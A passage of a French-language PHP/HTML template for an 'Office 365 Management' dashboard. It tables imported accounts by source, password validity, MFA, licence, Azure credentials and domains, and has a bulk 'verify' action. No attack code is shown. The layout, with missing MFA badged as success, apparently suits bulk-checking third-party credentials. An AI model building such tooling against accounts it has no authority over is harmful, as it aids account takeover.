||
border-radius: 12px;
|
||
padding: 20px;
|
||
margin-bottom: 20px;
|
||
border: 1px solid #e2e8f0;
|
||
}
|
||
.filters-grid {
|
||
display: grid;
|
||
grid-template-columns: 2fr repeat(6, 1fr) auto;
|
||
gap: 12px;
|
||
align-items: end;
|
||
}
|
||
.filter-group label {
|
||
display: block;
|
||
font-size: 11px;
|
||
color: #64748b;
|
||
margin-bottom: 6px;
|
||
text-transform: uppercase;
|
||
}
|
||
.filter-control {
|
||
width: 100%;
|
||
padding: 10px 12px;
|
||
background: #f8fafc;
|
||
border: 1px solid #e2e8f0;
|
||
border-radius: 8px;
|
||
color: #1e293b;
|
||
font-size: 13px;
|
||
}
|
||
.filter-control:focus { outline: none; border-color: #06b6d4; }
|
||
|
||
.tabs {
|
||
display: flex;
|
||
gap: 4px;
|
||
margin-bottom: 20px;
|
||
background: #ffffff;
|
||
padding: 4px;
|
||
border-radius: 10px;
|
||
border: 1px solid #e2e8f0;
|
||
width: fit-content;
|
||
}
|
||
.tab {
|
||
padding: 10px 20px;
|
||
border: none;
|
||
background: transparent;
|
||
color: #64748b;
|
||
cursor: pointer;
|
||
border-radius: 8px;
|
||
font-weight: 600;
|
||
font-size: 13px;
|
||
}
|
||
.tab:hover { color: #0891b2; background: #f0f9ff; }
|
||
.tab.active { background: linear-gradient(135deg, #0891b2, #06b6d4); color: white; }
|
||
.tab-content { display: none; }
|
||
.tab-content.active { display: block; }
|
||
|
||
.card {
|
||
background: #ffffff;
|
||
border-radius: 12px;
|
||
border: 1px solid #e2e8f0;
|
||
overflow: hidden;
|
||
margin-bottom: 20px;
|
||
}
|
||
.card-header {
|
||
background: #f8fafc;
|
||
padding: 16px 20px;
|
||
border-bottom: 1px solid #e2e8f0;
|
||
display: flex;
|
||
justify-content: space-between;
|
||
align-items: center;
|
||
}
|
||
.card-header h3 { font-size: 16px; color: #0891b2; }
|
||
.card-body { padding: 0; }
|
||
|
||
table { width: 100%; border-collapse: collapse; }
|
||
th, td { padding: 10px 12px; text-align: left; border-bottom: 1px solid #f1f5f9; font-size: 12px; }
|
||
th { background: #f8fafc; color: #0891b2; font-size: 10px; text-transform: uppercase; position: sticky; top: 0; }
|
||
tr:hover { background: #f0f9ff; }
|
||
|
||
.badge {
|
||
padding: 3px 8px;
|
||
border-radius: 5px;
|
||
font-size: 10px;
|
||
font-weight: 600;
|
||
display: inline-flex;
|
||
align-items: center;
|
||
gap: 3px;
|
||
}
|
||
.badge-success { background: #dcfce7; color: #16a34a; }
|
||
.badge-danger { background: #fee2e2; color: #dc2626; }
|
||
.badge-warning { background: #fef3c7; color: #d97706; }
|
||
.badge-info { background: #cffafe; color: #0891b2; }
|
||
.badge-secondary { background: #f1f5f9; color: #64748b; }
|
||
.badge-purple { background: #f3e8ff; color: #9333ea; }
|
||
.badge-dark { background: #1e293b; color: #f1f5f9; }
|
||
.badge-source { background: #fef3c7; color: #92400e; font-size: 9px; }
|
||
|
||
.action-btn {
|
||
padding: 4px 6px;
|
||
border-radius: 5px;
|
||
border: none;
|
||
cursor: pointer;
|
||
font-size: 10px;
|
||
}
|
||
.action-btn-check { background: #cffafe; color: #0891b2; }
|
||
.action-btn-play { background: #dcfce7; color: #16a34a; }
|
||
.action-btn-key { background: #fef3c7; color: #d97706; }
|
||
.action-btn-delete { background: #fee2e2; color: #dc2626; }
|
||
|
||
.domains-btn {
|
||
background: #f3e8ff;
|
||
color: #9333ea;
|
||
padding: 3px 8px;
|
||
border-radius: 5px;
|
||
font-size: 10px;
|
||
cursor: pointer;
|
||
border: none;
|
||
}
|
||
|
||
.modal {
|
||
display: none;
|
||
position: fixed;
|
||
top: 0; left: 0;
|
||
width: 100%; height: 100%;
|
||
background: rgba(15, 23, 42, 0.6);
|
||
z-index: 1000;
|
||
align-items: center;
|
||
justify-content: center;
|
||
backdrop-filter: blur(4px);
|
||
}
|
||
.modal.active { display: flex; }
|
||
.modal-content {
|
||
background: #ffffff;
|
||
border-radius: 16px;
|
||
width: 90%;
|
||
max-width: 700px;
|
||
max-height: 85vh;
|
||
overflow-y: auto;
|
||
}
|
||
.modal-header {
|
||
padding: 20px;
|
||
border-bottom: 1px solid #e2e8f0;
|
||
display: flex;
|
||
justify-content: space-between;
|
||
align-items: center;
|
||
background: #f8fafc;
|
||
}
|
||
.modal-header h3 { color: #0891b2; font-size: 18px; }
|
||
.modal-body { padding: 20px; }
|
||
.modal-close {
|
||
background: #fee2e2;
|
||
border: none;
|
||
color: #dc2626;
|
||
width: 32px; height: 32px;
|
||
border-radius: 8px;
|
||
font-size: 16px;
|
||
cursor: pointer;
|
||
}
|
||
|
||
.form-group { margin-bottom: 16px; }
|
||
.form-group label { display: block; margin-bottom: 6px; color: #475569; font-size: 12px; }
|
||
.form-control {
|
||
width: 100%;
|
||
padding: 10px 14px;
|
||
background: #f8fafc;
|
||
border: 1px solid #e2e8f0;
|
||
border-radius: 8px;
|
||
color: #1e293b;
|
||
font-size: 13px;
|
||
}
|
||
|
||
.message {
|
||
padding: 14px 20px;
|
||
border-radius: 10px;
|
||
margin-bottom: 20px;
|
||
}
|
||
.message-success { background: #dcfce7; color: #16a34a; }
|
||
.message-error { background: #fee2e2; color: #dc2626; }
|
||
|
||
.results-count {
|
||
color: #64748b;
|
||
font-size: 13px;
|
||
padding: 10px 20px;
|
||
border-bottom: 1px solid #f1f5f9;
|
||
background: #fafafa;
|
||
}
|
||
|
||
code { background: #cffafe; padding: 2px 5px; border-radius: 4px; font-size: 10px; color: #0891b2; }
|
||
|
||
.help-table { width: 100%; border-collapse: collapse; margin-top: 16px; }
|
||
.help-table th, .help-table td { padding: 10px; border: 1px solid #e2e8f0; text-align: left; font-size: 12px; }
|
||
.help-table th { background: #f0f9ff; color: #0891b2; }
|
||
|
||
.grid-2 { display: grid; grid-template-columns: repeat(2, 1fr); gap: 16px; }
|
||
|
||
.source-tag {
|
||
display: inline-block;
|
||
padding: 2px 6px;
|
||
background: #fef3c7;
|
||
color: #92400e;
|
||
border-radius: 4px;
|
||
font-size: 9px;
|
||
font-weight: 600;
|
||
max-width: 80px;
|
||
overflow: hidden;
|
||
text-overflow: ellipsis;
|
||
white-space: nowrap;
|
||
}
|
||
|
||
@media (max-width: 1400px) { .stats-grid { grid-template-columns: repeat(3, 1fr); } .filters-grid { grid-template-columns: repeat(4, 1fr); } }
|
||
@media (max-width: 768px) { .stats-grid, .filters-grid, .grid-2 { grid-template-columns: 1fr; } }
|
||
</style>
|
||
|
||
</head>
|
||
<body>
|
||
<div class="container">
|
||
<div class="header">
|
||
<div>
|
||
<h1><i class="fab fa-microsoft"></i> Office 365 Management</h1>
|
||
<p>Gestion des comptes et workflow d'automatisation</p>
|
||
</div>
|
||
<div class="header-actions">
|
||
<button class="btn btn-help" onclick="openModal('helpModal')"><i class="fas fa-question-circle"></i> Aide</button>
|
||
<a href="index.php" class="btn btn-secondary"><i class="fas fa-home"></i> Dashboard</a>
|
||
|
||
|
||
|
||
<a href="office-accounts-edit.php" class="btn btn-primary"><i class="fas fa-edit"></i> Éditeur</a> <a href="office-import.php" class="btn btn-purple"><i class="fas fa-file-import"></i> Import Excel</a>
|
||
<button class="btn btn-success" onclick="openModal('addAccountModal')"><i class="fas fa-plus"></i> Nouveau</button>
|
||
</div>
|
||
</div>
|
||
|
||
<?php if ($message): ?>
|
||
<div class="message message-<?= $messageType ?>"><?= $message ?></div>
|
||
<?php endif; ?>
|
||
|
||
<div class="stats-grid">
|
||
<div class="stat-card"><div class="stat-value"><?= $allAccountsStats['total'] ?? 0 ?></div><div class="stat-label">Total Comptes</div></div>
|
||
<div class="stat-card"><div class="stat-value"><?= $allAccountsStats['valid_pwd'] ?? 0 ?></div><div class="stat-label">Password OK</div></div>
|
||
<div class="stat-card"><div class="stat-value"><?= $allAccountsStats['with_mfa'] ?? 0 ?></div><div class="stat-label">Avec MFA</div></div>
|
||
<div class="stat-card"><div class="stat-value"><?= $allAccountsStats['with_license'] ?? 0 ?></div><div class="stat-label">Avec Licence</div></div>
|
||
<div class="stat-card"><div class="stat-value"><?= $allAccountsStats['with_domains'] ?? 0 ?></div><div class="stat-label">Avec Domaines</div></div>
|
||
<div class="stat-card"><div class="stat-value"><?= count($huaweiServers) ?></div><div class="stat-label">Serveurs Huawei</div></div>
|
||
</div>
|
||
|
||
<div class="filters-card">
|
||
<form method="GET">
|
||
<div class="filters-grid">
|
||
<div class="filter-group">
|
||
<label><i class="fas fa-search"></i> Recherche</label>
|
||
<input type="text" name="search" class="filter-control" placeholder="Nom, tenant, email..." value="<?= htmlspecialchars($search) ?>">
|
||
</div>
|
||
<div class="filter-group">
|
||
<label>Status</label>
|
||
<select name="status" class="filter-control" onchange="this.form.submit()">
|
||
<option value="">Tous</option>
|
||
<option value="Active" <?= $filterStatus === 'Active' ? 'selected' : '' ?>>Active</option>
|
||
<option value="Pending" <?= $filterStatus === 'Pending' ? 'selected' : '' ?>>Pending</option>
|
||
<option value="Blocked" <?= $filterStatus === 'Blocked' ? 'selected' : '' ?>>Blocked</option>
|
||
</select>
|
||
</div>
|
||
<div class="filter-group">
|
||
<label>Password</label>
|
||
<select name="password" class="filter-control" onchange="this.form.submit()">
|
||
<option value="">Tous</option>
|
||
<option value="valid" <?= $filterPassword === 'valid' ? 'selected' : '' ?>>Valid</option>
|
||
<option value="invalid" <?= $filterPassword === 'invalid' ? 'selected' : '' ?>>Invalid</option>
|
||
<option value="tenant_gone" <?= $filterPassword === 'tenant_gone' ? 'selected' : '' ?>>Tenant Gone</option>
|
||
<option value="locked" <?= $filterPassword === 'locked' ? 'selected' : '' ?>>Locked</option>
|
||
</select>
|
||
</div>
|
||
<div class="filter-group">
|
||
<label>MFA</label>
|
||
<select name="mfa" class="filter-control" onchange="this.form.submit()">
|
||
<option value="">Tous</option>
|
||
<option value="yes" <?= $filterMfa === 'yes' ? 'selected' : '' ?>>Oui</option>
|
||
<option value="no" <?= $filterMfa === 'no' ? 'selected' : '' ?>>Non</option>
|
||
</select>
|
||
</div>
|
||
<div class="filter-group">
|
||
<label>Licence</label>
|
||
<select name="license" class="filter-control" onchange="this.form.submit()">
|
||
<option value="">Tous</option>
|
||
<option value="yes" <?= $filterLicense === 'yes' ? 'selected' : '' ?>>Oui</option>
|
||
<option value="no" <?= $filterLicense === 'no' ? 'selected' : '' ?>>Non</option>
|
||
</select>
|
||
</div>
|
||
<div class="filter-group">
|
||
<label>Source</label>
|
||
<select name="source" class="filter-control" onchange="this.form.submit()">
|
||
<option value="">Toutes</option>
|
||
<?php foreach ($sources as $src): ?>
|
||
<option value="<?= htmlspecialchars($src) ?>" <?= $filterSource === $src ? 'selected' : '' ?>><?= htmlspecialchars($src) ?></option>
|
||
<?php endforeach; ?>
|
||
</select>
|
||
</div>
|
||
<div class="filter-group">
|
||
<label>Domaines</label>
|
||
<select name="domains" class="filter-control" onchange="this.form.submit()">
|
||
<option value="">Tous</option>
|
||
<option value="yes" <?= $filterDomains === 'yes' ? 'selected' : '' ?>>Avec</option>
|
||
<option value="no" <?= $filterDomains === 'no' ? 'selected' : '' ?>>Sans</option>
|
||
</select>
|
||
</div>
|
||
<div class="filter-group">
|
||
<a href="office-management.php" class="btn btn-secondary btn-sm" style="margin-top: 22px;"><i class="fas fa-times"></i> Reset</a>
|
||
</div>
|
||
</div>
|
||
</form>
|
||
</div>
|
||
|
||
<div class="tabs">
|
||
<button class="tab active" onclick="showTab('accounts')"><i class="fas fa-users"></i> Comptes</button>
|
||
<button class="tab" onclick="showTab('sources')"><i class="fas fa-tags"></i> Sources</button>
|
||
</div>
|
||
|
||
<div id="tab-accounts" class="tab-content active">
|
||
<div class="card">
|
||
<div class="card-header">
|
||
<h3><i class="fas fa-list"></i> Liste des Comptes Office 365</h3>
|
||
<form method="POST" style="display:inline;">
|
||
<input type="hidden" name="action" value="verify_all">
|
||
<input type="hidden" name="filter_search" value="<?= htmlspecialchars($search ?? '') ?>">
|
||
<input type="hidden" name="filter_status" value="<?= htmlspecialchars($filterStatus ?? '') ?>">
|
||
<input type="hidden" name="filter_password" value="<?= htmlspecialchars($filterPassword ?? '') ?>">
|
||
<input type="hidden" name="filter_mfa" value="<?= htmlspecialchars($filterMfa ?? '') ?>">
|
||
<input type="hidden" name="filter_source" value="<?= htmlspecialchars($filterSource ?? '') ?>">
|
||
<input type="hidden" name="filter_license" value="<?= htmlspecialchars($filterLicense ?? '') ?>">
|
||
<input type="hidden" name="filter_domains" value="<?= htmlspecialchars($filterDomains ?? '') ?>">
|
||
<input type="number" name="limit" value="50" min="1" max="500" style="width:60px;padding:6px;border-radius:4px;border:1px solid #cbd5e1;text-align:center;" title="Max comptes">
|
||
<button type="submit" class="btn btn-warning btn-sm"><i class="fas fa-check-double"></i> Vérifier Filtrés</button>
|
||
</form>
|
||
</div>
|
||
<div class="results-count"><i class="fas fa-filter"></i> <?= count($accounts) ?> résultat(s)</div>
|
||
<div class="card-body">
|
||
<div style="overflow-x: auto; max-height: 600px;">
|
||
<table>
|
||
<thead>
|
||
<tr>
|
||
<th>ID</th>
|
||
<th>Source</th>
|
||
<th>Type</th>
|
||
<th>Nom</th>
|
||
<th>Tenant</th>
|
||
<th>Admin</th>
|
||
<th>Status</th>
|
||
<th>PWD</th>
|
||
<th>MFA</th>
|
||
<th>Creds</th>
|
||
<th>Lic.</th>
|
||
<th>Dom.</th>
|
||
<th>Étape</th>
|
||
<th>Actions</th>
|
||
</tr>
|
||
</thead>
|
||
<tbody>
|
||
<?php if (empty($accounts)): ?>
|
||
<tr><td colspan="14" style="text-align:center; padding: 40px; color:#64748b;">Aucun compte</td></tr>
|
||
<?php else: foreach ($accounts as $acc): ?>
|
||
<tr>
|
||
<td style="color:#64748b; font-size: 11px;"><?= $acc['id'] ?></td>
|
||
<td>
|
||
<?php if (!empty($acc['source'])): ?>
|
||
<span class="source-tag" title="<?= htmlspecialchars($acc['source']) ?>"><?= htmlspecialchars($acc['source']) ?></span>
|
||
<?php else: ?>
|
||
<span style="color: #cbd5e1; font-size: 10px;">—</span>
|
||
<?php endif; ?>
|
||
</td>
|
||
<td>
|
||
<?php if (!empty($acc['account_type'])): ?>
|
||
<span class="badge badge-info" style="font-size:9px;" title="<?= htmlspecialchars($acc['account_type']) ?>"><?= htmlspecialchars(substr($acc['account_type'], 0, 12)) ?><?= strlen($acc['account_type']) > 12 ? '...' : '' ?></span>
|
||
<?php else: ?>
|
||
<span style="color: #cbd5e1; font-size: 10px;">—</span>
|
||
<?php endif; ?>
|
||
</td>
|
||
<td><strong style="font-size: 11px;"><?= htmlspecialchars($acc['name']) ?></strong></td>
|
||
<td><code style="font-size: 9px;"><?= htmlspecialchars(substr($acc['tenant_domain'], 0, 20)) ?></code></td>
|
||
<td style="font-size: 10px; color:#64748b; max-width: 150px; overflow: hidden; text-overflow: ellipsis;"><?= htmlspecialchars($acc['admin_email'] ?? '-') ?></td>
|
||
<td>
|
||
<?php $s = $acc['status'] ?? 'Pending'; ?>
|
||
<span class="badge badge-<?= $s === 'Active' ? 'success' : ($s === 'Blocked' ? 'danger' : 'warning') ?>"><?= $s ?></span>
|
||
</td>
|
||
<td>
|
||
<?php $p = $acc['password_status'] ?? null; ?>
|
||
<?php if ($p === 'valid'): ?><span class="badge badge-success"><i class="fas fa-check"></i></span>
|
||
<?php elseif ($p === 'invalid'): ?><span class="badge badge-danger"><i class="fas fa-times"></i></span>
|
||
<?php elseif ($p === 'locked'): ?><span class="badge badge-warning"><i class="fas fa-lock"></i></span>
|
||
<?php elseif ($p === 'disabled'): ?><span class="badge badge-danger"><i class="fas fa-ban"></i></span>
|
||
<?php elseif ($p === 'not_found'): ?><span class="badge badge-secondary"><i class="fas fa-question"></i></span>
|
||
<?php elseif ($p === 'tenant_gone'): ?><span class="badge badge-dark"><i class="fas fa-building"></i></span>
|
||
<?php elseif ($p === 'expired'): ?><span class="badge badge-warning"><i class="fas fa-clock"></i></span>
|
||
<?php elseif ($p === 'error'): ?><span class="badge badge-danger"><i class="fas fa-exclamation"></i></span>
|
||
<?php else: ?><span class="badge badge-secondary">—</span><?php endif; ?>
|
||
</td>
|
||
<td>
|
||
<?php $m = $acc['has_mfa'] ?? null; ?>
|
||
<?php if ($m === true || $m === 't'): ?><span class="badge badge-purple"><i class="fas fa-shield-alt"></i></span>
|
||
<?php elseif ($m === false || $m === 'f'): ?><span class="badge badge-success"><i class="fas fa-unlock"></i></span>
|
||
<?php else: ?><span class="badge badge-secondary">—</span><?php endif; ?>
|
||
</td>
|
||
<td>
|
||
<?php $hasCreds = !empty($acc['client_id']) && !empty($acc['secret_id']) && !empty($acc['tenant_id']); ?>
|
||
<?php if ($hasCreds): ?>
|
||
<span class="badge badge-success" style="cursor:pointer" title="Client: <?= substr($acc['client_id'],0,8) ?>...">✅</span>
|
||
<?php else: ?>
|
||
<span class="badge badge-danger" title="Credentials Azure manquants">❌</span>
|
||
<?php endif; ?>
|
||
</td>
|
||
<td>
|
||
<?php $l = $acc['has_license'] ?? null; $mfa = $acc['has_mfa'] ?? null; ?>
|
||
<?php if ($l === true || $l === 't'): ?><span class="badge badge-success"><i class="fas fa-award"></i></span>
|
||
<?php elseif ($l === false || $l === 'f'): ?><span class="badge badge-danger"><i class="fas fa-times"></i></span>
|
||
<?php elseif ($mfa === true || $mfa === 't'): ?><span class="badge badge-info">MFA</span>
|
||
<?php else: ?><span class="badge badge-secondary">—</span><?php endif; ?>
|
||
</td>
|
||
<td>
|
||
<?php $d = $acc['domains_count'] ?? 0; ?>
|
||
<?php if ($d > 0): ?>
|
||
<form method="POST" style="display:inline;"><input type="hidden" name="action" value="show_domains"><input type="hidden" name="account_id" value="<?= $acc['id'] ?>">
|
||
<button type="submit" class="domains-btn"><?= $d ?></button></form>
|
||
<?php else: ?><span class="badge badge-secondary">0</span><?php endif; ?>
|
||
</td>
|
||
<td><span class="badge badge-info"><?= $acc['current_step'] ?? 0 ?>/7</span></td>
|
||
<td style="white-space: nowrap;">
|
||
<form method="POST" style="display:inline;"><input type="hidden" name="action" value="verify_account"><input type="hidden" name="account_id" value="<?= $acc['id'] ?>">
|
||
<button type="submit" class="action-btn action-btn-check" title="Vérifier"><i class="fas fa-sync-alt"></i></button></form>
|
||
<button class="action-btn action-btn-delete" onclick="deleteAccount(<?= $acc['id'] ?>)" title="Supprimer"><i class="fas fa-trash"></i></button>
|
||
</td>
|
||
</tr>
|
||
<?php endforeach; endif; ?>
|
||
</tbody>
|
||
</table>
|
||
</div>
|
||
</div>
|
||
</div>
|
||
</div>
|
||
|
||
<!-- Onglet Sources -->
|
||
<div id="tab-sources" class="tab-content">
|
||
<div class="card">
|
||
<div class="card-header"><h3><i class="fas fa-tags"></i> Répartition par Source d'import</h3></div>
|
||
<div class="card-body" style="padding: 20px;">
|
||
<?php if (empty($sourceStats)): ?>
|
||
<p style="text-align: center; color: #64748b; padding: 40px;">Aucune source définie</p>
|
||
<?php else: ?>
|
||
<div class="grid-2">
|
||
<?php foreach ($sourceStats as $src): ?>
|
||
<div style="padding: 16px; background: #f0f9ff; border-radius: 10px; display: flex; justify-content: space-between; align-items: center;">
|
||
<div>
|
||
<span class="source-tag" style="font-size: 12px; max-width: none;"><?= htmlspecialchars($src['source'] ?? 'Non défini') ?></span>
|
||
</div>
|
||
<div style="font-size: 24px; font-weight: 700; color: #0891b2;"><?= $src['cnt'] ?></div>
|
||
</div>
|
||
<?php endforeach; ?>
|
||
</div>
|
||
<?php endif; ?>
|
||
</div>
|
||
</div>
|
||
</div>
|
||
|